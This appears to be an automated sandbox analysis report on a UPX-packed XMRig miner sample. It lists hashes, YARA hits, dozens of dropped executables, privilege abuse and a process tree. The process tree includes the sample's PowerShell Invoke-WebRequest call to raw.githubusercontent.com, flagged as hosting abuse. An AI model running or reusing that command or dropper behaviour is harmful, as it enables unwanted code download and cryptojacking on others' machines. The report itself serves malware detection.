xmrig | beb3a5c82332958463675053c8c194e4e18c7ac38c6e372c20bd7a0658498e07

Analysis

max time kernel
33s
max time network
34s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
29/04/2024, 03:35

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
Size

2.2MB
MD5

06bb9aeed8b4b274c2557bb062b95bd6
SHA1

249e0974c8a48d8011aca1970e997e47563b60f1
SHA256

beb3a5c82332958463675053c8c194e4e18c7ac38c6e372c20bd7a0658498e07
SHA512

0ddab695c5890539d927fc5ba7fb1056db06145c2f9519cbf71186c0f9e71fa702c9e8bcc8bd399a486e059739ce16b8dba2ba88ecd3bc818c1fca871188ce9e
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfS:NAB9

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 21 IoCs

miner

resource	yara_rule
behavioral2/memory/3672-153-0x00007FF638BF0000-0x00007FF638FE2000-memory.dmp	xmrig
behavioral2/memory/764-147-0x00007FF6A5ED0000-0x00007FF6A62C2000-memory.dmp	xmrig
behavioral2/memory/4740-141-0x00007FF7C4310000-0x00007FF7C4702000-memory.dmp	xmrig
behavioral2/memory/1508-135-0x00007FF791DF0000-0x00007FF7921E2000-memory.dmp	xmrig
behavioral2/memory/3412-129-0x00007FF7F3540000-0x00007FF7F3932000-memory.dmp	xmrig
behavioral2/memory/2564-123-0x00007FF7F8D00000-0x00007FF7F90F2000-memory.dmp	xmrig
behavioral2/memory/3324-117-0x00007FF6F4DC0000-0x00007FF6F51B2000-memory.dmp	xmrig
behavioral2/memory/4620-113-0x00007FF73E5E0000-0x00007FF73E9D2000-memory.dmp	xmrig
behavioral2/memory/4276-107-0x00007FF653820000-0x00007FF653C12000-memory.dmp	xmrig
behavioral2/memory/4988-104-0x00007FF74A5B0000-0x00007FF74A9A2000-memory.dmp	xmrig
behavioral2/memory/752-98-0x00007FF61F690000-0x00007FF61FA82000-memory.dmp	xmrig
behavioral2/memory/1220-91-0x00007FF6B59F0000-0x00007FF6B5DE2000-memory.dmp	xmrig
behavioral2/memory/4552-85-0x00007FF7B79F0000-0x00007FF7B7DE2000-memory.dmp	xmrig
behavioral2/memory/4320-84-0x00007FF7DBA60000-0x00007FF7DBE52000-memory.dmp	xmrig
behavioral2/memory/3544-79-0x00007FF6E9F70000-0x00007FF6EA362000-memory.dmp	xmrig
behavioral2/memory/1936-61-0x00007FF7AFAF0000-0x00007FF7AFEE2000-memory.dmp	xmrig
behavioral2/memory/1956-58-0x00007FF7F73B0000-0x00007FF7F77A2000-memory.dmp	xmrig
behavioral2/memory/3560-48-0x00007FF69FE60000-0x00007FF6A0252000-memory.dmp	xmrig
behavioral2/memory/4260-44-0x00007FF61F7F0000-0x00007FF61FBE2000-memory.dmp	xmrig
behavioral2/memory/3592-36-0x00007FF65CF10000-0x00007FF65D302000-memory.dmp	xmrig
behavioral2/memory/1520-37-0x00007FF651830000-0x00007FF651C22000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
3592	TJiTjEp.exe
1520	XfjRHDM.exe
4260	bbbydBL.exe
3560	cduLjLL.exe
1956	bMLnWvJ.exe
3544	UoDmovJ.exe
4320	zxzEjSE.exe
1936	vMLYNfY.exe
4552	spvbjXJ.exe
1220	ZBIcMIB.exe
4988	qAMqcQO.exe
752	HSggCSp.exe
4276	LKlooqK.exe
4620	nbOpVTf.exe
3324	QoseWHM.exe
2564	TIsnWZs.exe
3412	maIwRqj.exe
1508	WZOkLDr.exe
4740	hjnGUiR.exe
764	hkYOPfU.exe
3672	nQOmTXo.exe
4360	pbHRJnv.exe
4136	MLKWvOk.exe
4612	ckzBOkZ.exe
4020	SRZfmJq.exe
4328	FrGVLsG.exe
1584	DNSTSTe.exe
2296	SWzBMmQ.exe
1392	IPEfPPj.exe
680	yZntGdt.exe
5032	sXFVqwV.exe
3248	JABHgUT.exe
4512	PCHorTB.exe
4008	SrGdHno.exe
4580	zRPDGBb.exe
1544	XMinHdy.exe
4524	ulJUAWf.exe
3052	IaHWWCh.exe
4100	lMHRxVB.exe
1780	nEnQgan.exe
3480	GGrGqLe.exe
1460	fVXVYao.exe
3608	EvyMZrD.exe
3876	gdKMgIm.exe
3652	CxGpbxu.exe
408	HVPNAlh.exe
2424	PrZDrEg.exe
3092	OZDkBtV.exe
2660	cQvgQhP.exe
1676	IJSzlad.exe
3060	dCMHFuA.exe
4840	UErcOaE.exe
2568	rQSxZYj.exe
3824	kShCrFL.exe
1200	bFOaERU.exe
4412	iDjLmgq.exe
4728	nRpGcXf.exe
2344	fKSYjCZ.exe
5028	BagWjvn.exe
3256	yovRtHK.exe
2336	ufhHJyt.exe
4308	zIlcePF.exe
4956	degQRYh.exe
4116	hMdLfzo.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3400-0-0x00007FF7D0E00000-0x00007FF7D11F2000-memory.dmp	upx
behavioral2/files/0x000a000000023b8a-14.dat	upx
behavioral2/files/0x000a000000023b8b-15.dat	upx
behavioral2/files/0x000a000000023b8d-31.dat	upx
behavioral2/files/0x000a000000023b8c-27.dat	upx
behavioral2/files/0x000a000000023b89-20.dat	upx
behavioral2/files/0x000b000000023b85-8.dat	upx
behavioral2/files/0x000a000000023b8e-42.dat	upx
behavioral2/files/0x000a000000023b90-45.dat	upx
behavioral2/files/0x000a000000023b91-57.dat	upx
behavioral2/files/0x000a000000023b97-86.dat	upx
behavioral2/files/0x000a000000023b92-87.dat	upx
behavioral2/files/0x000a000000023b93-93.dat	upx
behavioral2/files/0x000b000000023b95-114.dat	upx
behavioral2/files/0x000a000000023b99-130.dat	upx
behavioral2/files/0x000a000000023b9c-148.dat	upx
behavioral2/files/0x000a000000023b9f-164.dat	upx
behavioral2/files/0x000a000000023ba2-179.dat	upx
behavioral2/files/0x000a000000023ba6-191.dat	upx
behavioral2/files/0x000a000000023ba7-196.dat	upx
behavioral2/files/0x000a000000023ba5-194.dat	upx
behavioral2/files/0x000a000000023ba4-189.dat	upx
behavioral2/files/0x000a000000023ba3-184.dat	upx
behavioral2/files/0x000a000000023ba1-174.dat	upx
behavioral2/files/0x000a000000023ba0-169.dat	upx
behavioral2/files/0x000a000000023b9e-159.dat	upx
behavioral2/files/0x000a000000023b9d-154.dat	upx
behavioral2/memory/3672-153-0x00007FF638BF0000-0x00007FF638FE2000-memory.dmp	upx
behavioral2/memory/764-147-0x00007FF6A5ED0000-0x00007FF6A62C2000-memory.dmp	upx
behavioral2/files/0x000a000000023b9b-142.dat	upx
behavioral2/memory/4740-141-0x00007FF7C4310000-0x00007FF7C4702000-memory.dmp	upx
behavioral2/files/0x000a000000023b9a-136.dat	upx
behavioral2/memory/1508-135-0x00007FF791DF0000-0x00007FF7921E2000-memory.dmp	upx
behavioral2/memory/3412-129-0x00007FF7F3540000-0x00007FF7F3932000-memory.dmp	upx
behavioral2/memory/2564-123-0x00007FF7F8D00000-0x00007FF7F90F2000-memory.dmp	upx
behavioral2/files/0x000a000000023b98-118.dat	upx
behavioral2/memory/3324-117-0x00007FF6F4DC0000-0x00007FF6F51B2000-memory.dmp	upx
behavioral2/memory/4620-113-0x00007FF73E5E0000-0x00007FF73E9D2000-memory.dmp	upx
behavioral2/files/0x000b000000023b86-108.dat	upx
behavioral2/memory/4276-107-0x00007FF653820000-0x00007FF653C12000-memory.dmp	upx
behavioral2/memory/4988-104-0x00007FF74A5B0000-0x00007FF74A9A2000-memory.dmp	upx
behavioral2/files/0x000b000000023b96-102.dat	upx
behavioral2/memory/752-98-0x00007FF61F690000-0x00007FF61FA82000-memory.dmp	upx
behavioral2/memory/1220-91-0x00007FF6B59F0000-0x00007FF6B5DE2000-memory.dmp	upx
behavioral2/memory/4552-85-0x00007FF7B79F0000-0x00007FF7B7DE2000-memory.dmp	upx
behavioral2/memory/4320-84-0x00007FF7DBA60000-0x00007FF7DBE52000-memory.dmp	upx
behavioral2/files/0x000a000000023b94-81.dat	upx
behavioral2/memory/3544-79-0x00007FF6E9F70000-0x00007FF6EA362000-memory.dmp	upx
behavioral2/memory/1936-61-0x00007FF7AFAF0000-0x00007FF7AFEE2000-memory.dmp	upx
behavioral2/memory/1956-58-0x00007FF7F73B0000-0x00007FF7F77A2000-memory.dmp	upx
behavioral2/memory/3560-48-0x00007FF69FE60000-0x00007FF6A0252000-memory.dmp	upx
behavioral2/files/0x000a000000023b8f-49.dat	upx
behavioral2/memory/4260-44-0x00007FF61F7F0000-0x00007FF61FBE2000-memory.dmp	upx
behavioral2/memory/3592-36-0x00007FF65CF10000-0x00007FF65D302000-memory.dmp	upx
behavioral2/memory/1520-37-0x00007FF651830000-0x00007FF651C22000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\cunIgxM.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\gBIuYWY.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\eQPtOCm.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\aqLLbiH.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\LsSPDIn.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\eNmRvWL.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\QutnrXn.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\gLqWEbI.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\UcRlkQo.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\ODmrmmw.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\UPbPOIH.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\xQxHrvQ.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\EAZvxlc.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\McvsouI.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\XzVuOcJ.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\ACpqLuR.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\afpBgRN.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\tVKFyyJ.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\zVTilDw.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\NIIJJlS.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\kFOxDdT.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\fyfchpn.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\TvJPhIL.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\rXtXorv.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\FWKRTDF.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\KXHbesK.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\wcyTNtj.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\VhKEkJx.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\oAKnxXl.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\hYIryuw.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\ViWWGGh.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\hQWNtib.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\jIMdvGD.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\TCoZnnq.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\FUTaSdn.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\nmSLnGJ.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\hqEqLUl.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\mJZueAb.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\eUgKZpT.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\elYhywS.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\iuzTFwH.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\YOQvUYp.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\jAflChr.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\eNMCPHm.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\xSXsyLW.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\wuMIViA.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\LZAwqdi.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\sZsCxDj.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\SvBCDSk.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\uYqjTRn.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\LfbbMbi.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\tviLKyD.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\GpuLDEB.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\XNzBGEx.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\SibFXVd.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\NRZgbkz.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\fWsJxUY.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\pEPgApy.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\jNucDHP.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\qEEAyVw.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\aTmpGev.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\kWndyuB.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\QIUqOqV.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
File created	C:\Windows\System\DJNBhRx.exe	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4396	powershell.exe
4396	powershell.exe
4396	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
Token: SeDebugPrivilege	4396	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3400 wrote to memory of 4396	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	84
PID 3400 wrote to memory of 4396	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	84
PID 3400 wrote to memory of 3592	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	85
PID 3400 wrote to memory of 3592	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	85
PID 3400 wrote to memory of 1520	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	86
PID 3400 wrote to memory of 1520	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	86
PID 3400 wrote to memory of 4260	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	87
PID 3400 wrote to memory of 4260	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	87
PID 3400 wrote to memory of 3560	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	88
PID 3400 wrote to memory of 3560	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	88
PID 3400 wrote to memory of 1956	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	89
PID 3400 wrote to memory of 1956	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	89
PID 3400 wrote to memory of 3544	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	90
PID 3400 wrote to memory of 3544	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	90
PID 3400 wrote to memory of 1936	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	91
PID 3400 wrote to memory of 1936	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	91
PID 3400 wrote to memory of 4320	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	92
PID 3400 wrote to memory of 4320	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	92
PID 3400 wrote to memory of 4552	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	93
PID 3400 wrote to memory of 4552	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	93
PID 3400 wrote to memory of 1220	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	94
PID 3400 wrote to memory of 1220	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	94
PID 3400 wrote to memory of 4988	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	95
PID 3400 wrote to memory of 4988	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	95
PID 3400 wrote to memory of 752	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	96
PID 3400 wrote to memory of 752	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	96
PID 3400 wrote to memory of 4276	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	97
PID 3400 wrote to memory of 4276	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	97
PID 3400 wrote to memory of 4620	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	98
PID 3400 wrote to memory of 4620	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	98
PID 3400 wrote to memory of 3324	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	99
PID 3400 wrote to memory of 3324	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	99
PID 3400 wrote to memory of 2564	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	100
PID 3400 wrote to memory of 2564	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	100
PID 3400 wrote to memory of 3412	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	101
PID 3400 wrote to memory of 3412	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	101
PID 3400 wrote to memory of 1508	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	102
PID 3400 wrote to memory of 1508	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	102
PID 3400 wrote to memory of 4740	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	103
PID 3400 wrote to memory of 4740	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	103
PID 3400 wrote to memory of 764	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	104
PID 3400 wrote to memory of 764	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	104
PID 3400 wrote to memory of 3672	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	105
PID 3400 wrote to memory of 3672	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	105
PID 3400 wrote to memory of 4360	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	106
PID 3400 wrote to memory of 4360	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	106
PID 3400 wrote to memory of 4136	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	107
PID 3400 wrote to memory of 4136	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	107
PID 3400 wrote to memory of 4612	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	108
PID 3400 wrote to memory of 4612	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	108
PID 3400 wrote to memory of 4020	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	109
PID 3400 wrote to memory of 4020	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	109
PID 3400 wrote to memory of 4328	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	110
PID 3400 wrote to memory of 4328	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	110
PID 3400 wrote to memory of 1584	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	111
PID 3400 wrote to memory of 1584	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	111
PID 3400 wrote to memory of 2296	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	112
PID 3400 wrote to memory of 2296	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	112
PID 3400 wrote to memory of 1392	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	113
PID 3400 wrote to memory of 1392	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	113
PID 3400 wrote to memory of 680	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	114
PID 3400 wrote to memory of 680	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	114
PID 3400 wrote to memory of 5032	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	115
PID 3400 wrote to memory of 5032	3400	06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe	115

C:\Users\Admin\AppData\Local\Temp\06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\06bb9aeed8b4b274c2557bb062b95bd6_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\System\TJiTjEp.exe
  C:\Windows\System\TJiTjEp.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Windows\System\XfjRHDM.exe
  C:\Windows\System\XfjRHDM.exe
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Windows\System\bbbydBL.exe
  C:\Windows\System\bbbydBL.exe
  2⤵
  - Executes dropped EXE
  PID:4260
- C:\Windows\System\cduLjLL.exe
  C:\Windows\System\cduLjLL.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\bMLnWvJ.exe
  C:\Windows\System\bMLnWvJ.exe
  2⤵
  - Executes dropped EXE
  PID:1956
- C:\Windows\System\UoDmovJ.exe
  C:\Windows\System\UoDmovJ.exe
  2⤵
  - Executes dropped EXE
  PID:3544
- C:\Windows\System\vMLYNfY.exe
  C:\Windows\System\vMLYNfY.exe
  2⤵
  - Executes dropped EXE
  PID:1936
- C:\Windows\System\zxzEjSE.exe
  C:\Windows\System\zxzEjSE.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\spvbjXJ.exe
  C:\Windows\System\spvbjXJ.exe
  2⤵
  - Executes dropped EXE
  PID:4552
- C:\Windows\System\ZBIcMIB.exe
  C:\Windows\System\ZBIcMIB.exe
  2⤵
  - Executes dropped EXE
  PID:1220
- C:\Windows\System\qAMqcQO.exe
  C:\Windows\System\qAMqcQO.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\HSggCSp.exe
  C:\Windows\System\HSggCSp.exe
  2⤵
  - Executes dropped EXE
  PID:752
- C:\Windows\System\LKlooqK.exe
  C:\Windows\System\LKlooqK.exe
  2⤵
  - Executes dropped EXE
  PID:4276
- C:\Windows\System\nbOpVTf.exe
  C:\Windows\System\nbOpVTf.exe
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Windows\System\QoseWHM.exe
  C:\Windows\System\QoseWHM.exe
  2⤵
  - Executes dropped EXE
  PID:3324
- C:\Windows\System\TIsnWZs.exe
  C:\Windows\System\TIsnWZs.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\maIwRqj.exe
  C:\Windows\System\maIwRqj.exe
  2⤵
  - Executes dropped EXE
  PID:3412
- C:\Windows\System\WZOkLDr.exe
  C:\Windows\System\WZOkLDr.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\hjnGUiR.exe
  C:\Windows\System\hjnGUiR.exe
  2⤵
  - Executes dropped EXE
  PID:4740
- C:\Windows\System\hkYOPfU.exe
  C:\Windows\System\hkYOPfU.exe
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System\nQOmTXo.exe
  C:\Windows\System\nQOmTXo.exe
  2⤵
  - Executes dropped EXE
  PID:3672
- C:\Windows\System\pbHRJnv.exe
  C:\Windows\System\pbHRJnv.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\MLKWvOk.exe
  C:\Windows\System\MLKWvOk.exe
  2⤵
  - Executes dropped EXE
  PID:4136
- C:\Windows\System\ckzBOkZ.exe
  C:\Windows\System\ckzBOkZ.exe
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Windows\System\SRZfmJq.exe
  C:\Windows\System\SRZfmJq.exe
  2⤵
  - Executes dropped EXE
  PID:4020
- C:\Windows\System\FrGVLsG.exe
  C:\Windows\System\FrGVLsG.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\DNSTSTe.exe
  C:\Windows\System\DNSTSTe.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\SWzBMmQ.exe
  C:\Windows\System\SWzBMmQ.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\IPEfPPj.exe
  C:\Windows\System\IPEfPPj.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\yZntGdt.exe
  C:\Windows\System\yZntGdt.exe
  2⤵
  - Executes dropped EXE
  PID:680
- C:\Windows\System\sXFVqwV.exe
  C:\Windows\System\sXFVqwV.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\JABHgUT.exe
  C:\Windows\System\JABHgUT.exe
  2⤵
  - Executes dropped EXE
  PID:3248
- C:\Windows\System\PCHorTB.exe
  C:\Windows\System\PCHorTB.exe
  2⤵
  - Executes dropped EXE
  PID:4512
- C:\Windows\System\SrGdHno.exe
  C:\Windows\System\SrGdHno.exe
  2⤵
  - Executes dropped EXE
  PID:4008
- C:\Windows\System\zRPDGBb.exe
